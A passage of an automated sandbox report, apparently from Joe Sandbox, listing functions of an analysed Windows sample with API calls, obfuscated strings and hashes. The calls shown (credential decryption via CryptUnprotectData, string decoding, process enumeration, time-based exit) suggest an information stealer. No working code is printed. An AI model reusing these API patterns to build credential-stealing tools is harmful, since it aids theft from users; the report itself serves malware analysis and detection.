                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: ]?$.kt/$/M)$a:OO$hW?$sOW
                                    • API String ID: 0-1086714760
                                    • Opcode ID: 2c4fb005fadb467ac4c1ab0ac4bfdda04bea3e04a037e27146f0a70d7a5fd4f0
                                    • Instruction ID: d6fdb2d6412d7c279316141d71b684c9dfffc5baaa66faab2c60aaafd439bb98
                                    • Opcode Fuzzy Hash: 2c4fb005fadb467ac4c1ab0ac4bfdda04bea3e04a037e27146f0a70d7a5fd4f0
                                    • Instruction Fuzzy Hash: C5B207F3A0C2049FE304AE2DEC8567AB7E9EF94720F16493DE6C4C7344EA3598158697
                                    Function 00E1A210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O,00000000,00000000), ref: 00E1A23F
                                    • LocalAlloc.KERNEL32(00000040,?,?,?,00E14F3E,00000000,?), ref: 00E1A251
                                    • CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O,00000000,00000000), ref: 00E1A27A
                                    • LocalFree.KERNEL32(?,?,?,?,00E14F3E,00000000,?), ref: 00E1A28F
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: BinaryCryptLocalString$AllocFree
                                    • String ID: >O
                                    • API String ID: 4291131564-1870091082
                                    • Opcode ID: 72daca3b4fc441d552e6a0e1652195e170c3ea3af9a80ac0dbf322742135a627
                                    • Instruction ID: aca274c12e14cb7ba7c703d3c3ef8a996e0cf531680423397e9bc71e001736d5
                                    • Opcode Fuzzy Hash: 72daca3b4fc441d552e6a0e1652195e170c3ea3af9a80ac0dbf322742135a627
                                    • Instruction Fuzzy Hash: 2811A474641308AFEB11CF64C895FAA77B5EB89B14F208458FD159F390C7B6A941CB90
                                    Function 01273E2D Relevance: 7.9, Strings: 5, Instructions: 1677COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: -;]$?wnM$Yg{$`];C$i^BO
                                    • API String ID: 0-300632929
                                    • Opcode ID: 6e5ae41f4a83898f0de0b14289247b8029b399e3fba66b739aea0b3e41856dd8
                                    • Instruction ID: 157db8aec894eaeeb9c1038e9f73a96638dd1deda7509ff44c3018ccd49026d1
                                    • Opcode Fuzzy Hash: 6e5ae41f4a83898f0de0b14289247b8029b399e3fba66b739aea0b3e41856dd8
                                    • Instruction Fuzzy Hash: F5B21AF3A0C2049FE3046E2DEC8567ABBE5EF94720F1A493DEAC4C7744EA3558058697
                                    Function 0125DF75 Relevance: 7.8, Strings: 5, Instructions: 1598COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: !y6$/[?$I_=$iym$xj{S
                                    • API String ID: 0-2239081516
                                    • Opcode ID: 79b3dc346d33624e2fefe6375c89c12824f13e5f5e9422f3fb9109e63b605780
                                    • Instruction ID: b7502fa32ddcfdf94abd869d4c41f794b3e4f413681e367ee54c244e00e7dbe2
                                    • Opcode Fuzzy Hash: 79b3dc346d33624e2fefe6375c89c12824f13e5f5e9422f3fb9109e63b605780
                                    • Instruction Fuzzy Hash: 5DB207F3A0C204AFE7046E29EC8567AFBE9EF94620F1A493DE6C4C3744E67558018797
                                    Function 00E7F8D6 Relevance: 7.6, Strings: 6, Instructions: 123COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: \u$\u${${$}$}
                                    • API String ID: 0-582841131
                                    • Opcode ID: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
                                    • Instruction ID: 528c8c927a71e2d0a0fa49f87b71ca9e423c297378a9f504e57d622b3ebd2f91
                                    • Opcode Fuzzy Hash: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
                                    • Instruction Fuzzy Hash: 73418212D19BD5C5CB058B7444A02EEBFB22FD6210F6D82DAC4DD1F782C774414AD3A5
                                    Function 00E1C920 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON
                                    Download Yara Rule
                                    APIs
                                    • lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00E1C971
                                    • CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00E1C97C
                                    • lstrcat.KERNEL32(?,00E30B47), ref: 00E1CA43
                                    • lstrcat.KERNEL32(?,00E30B4B), ref: 00E1CA57
                                    • lstrcat.KERNEL32(?,00E30B4E), ref: 00E1CA78
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$BinaryCryptStringlstrlen
                                    • String ID:
                                    • API String ID: 189259977-0
                                    • Opcode ID: 2b6f392498fc5a293a7599aed10dd0ef8503afd5cf676def1e91b956019ef63f
                                    • Instruction ID: 3944bf492a1d221e6e79b93bd0296654144afc77d9dd24f0c483a05fe941af81
                                    • Opcode Fuzzy Hash: 2b6f392498fc5a293a7599aed10dd0ef8503afd5cf676def1e91b956019ef63f
                                    • Instruction Fuzzy Hash: 48415E7490421EDBDB20CFA4DD89BEEBBB8AF48704F1045A8F509A6280D7755A84CF91
                                    Function 00E26BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetSystemTime.KERNEL32(?), ref: 00E26C0C
                                    • sscanf.NTDLL ref: 00E26C39
                                    • SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00E26C52
                                    • SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00E26C60
                                    • ExitProcess.KERNEL32 ref: 00E26C7A
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Time$System$File$ExitProcesssscanf
                                    • String ID:
                                    • API String ID: 2533653975-0
                                    • Opcode ID: 08432a3af47bcb0d8b836a5428c458421e21261af55b0a65a92fdd1b8066814e
                                    • Instruction ID: db15de6f2de7e82660c1aa192e6ef30aa4bdb5e6cacb506bf4eaaa3e7014959d
                                    • Opcode Fuzzy Hash: 08432a3af47bcb0d8b836a5428c458421e21261af55b0a65a92fdd1b8066814e
                                    • Instruction Fuzzy Hash: ED21EBB5D04218ABCF14EFE4E8459EEB7B9FF48300F04852EE406B7254EB359608CB64
                                    Function 00E172A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000008,00000400), ref: 00E172AD
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E172B4
                                    • CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00E172E1
                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00E17304
                                    • LocalFree.KERNEL32(?), ref: 00E1730E
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
                                    • String ID:
                                    • API String ID: 2609814428-0
                                    • Opcode ID: 56195aecd9385a9ef4894015d328b4aa0f1d909ac80ffd507759868965ede2f4
                                    • Instruction ID: 29b58956db3be49506553f61c43a12752ea4fd0bfdfe689ec924fd3557915576
                                    • Opcode Fuzzy Hash: 56195aecd9385a9ef4894015d328b4aa0f1d909ac80ffd507759868965ede2f4
                                    • Instruction Fuzzy Hash: 67015275A40308BBDB10DFE4CC46F9D77B8AB44B00F104048FB45BF2C4C6B1AA408B94
                                    Function 00E29790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00E297AE
                                    • Process32First.KERNEL32(00E30ACE,00000128), ref: 00E297C2
                                    • Process32Next.KERNEL32(00E30ACE,00000128), ref: 00E297D7
                                    • StrCmpCA.SHLWAPI(?,00000000), ref: 00E297EC
                                    • CloseHandle.KERNEL32(00E30ACE), ref: 00E2980A
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                    • String ID:
                                    • API String ID: 420147892-0
                                    • Opcode ID: 3f60bbb9820c744efbb9f5cfbdbfce4a0dd174ec5c1e1ec93dedab525843d95a
                                    • Instruction ID: deef5040bf569b3fceb1b5e7fe8709773a6e48e1026d531a8016af7efcb1926c
                                    • Opcode Fuzzy Hash: 3f60bbb9820c744efbb9f5cfbdbfce4a0dd174ec5c1e1ec93dedab525843d95a
                                    • Instruction Fuzzy Hash: A6015E75A00218EBDB24DFA5D944BDDB7F8BB08700F0451C8E509AB240E7759B40CF90
                                    Function 00E34573 Relevance: 7.3, Strings: 2, Instructions: 4816COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: <7\h$huzx
                                    • API String ID: 0-2989614873
                                    • Opcode ID: 5d827187b9bba1c7b975ac9aeefe0377cb5bc0638ef51c527cb9f82b2d2ec383
                                    • Instruction ID: 069405ca84e5003a9c367b88094b33a3371b0aaea248d5b56ac166c3e4d4bea2
                                    • Opcode Fuzzy Hash: 5d827187b9bba1c7b975ac9aeefe0377cb5bc0638ef51c527cb9f82b2d2ec383
                                    • Instruction Fuzzy Hash: 4863427341EBD41EC727CB3047BA1517F66FA13310B1969CEC8C1AB6B3C690AA16E356
                                    Function 0125FA81 Relevance: 6.7, Strings: 4, Instructions: 1685COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: 7Hu>$;.<$a}k$`>:
                                    • API String ID: 0-1210247093
                                    • Opcode ID: e119e2c615e01d708b7a082abaa2930f9645a5931ef31782ecf2c8404bc7316d
                                    • Instruction ID: 5437e2575a175ead8564755a3c0b1ad0dbd747ada8e8e3b030303d3cf8787bd7
                                    • Opcode Fuzzy Hash: e119e2c615e01d708b7a082abaa2930f9645a5931ef31782ecf2c8404bc7316d
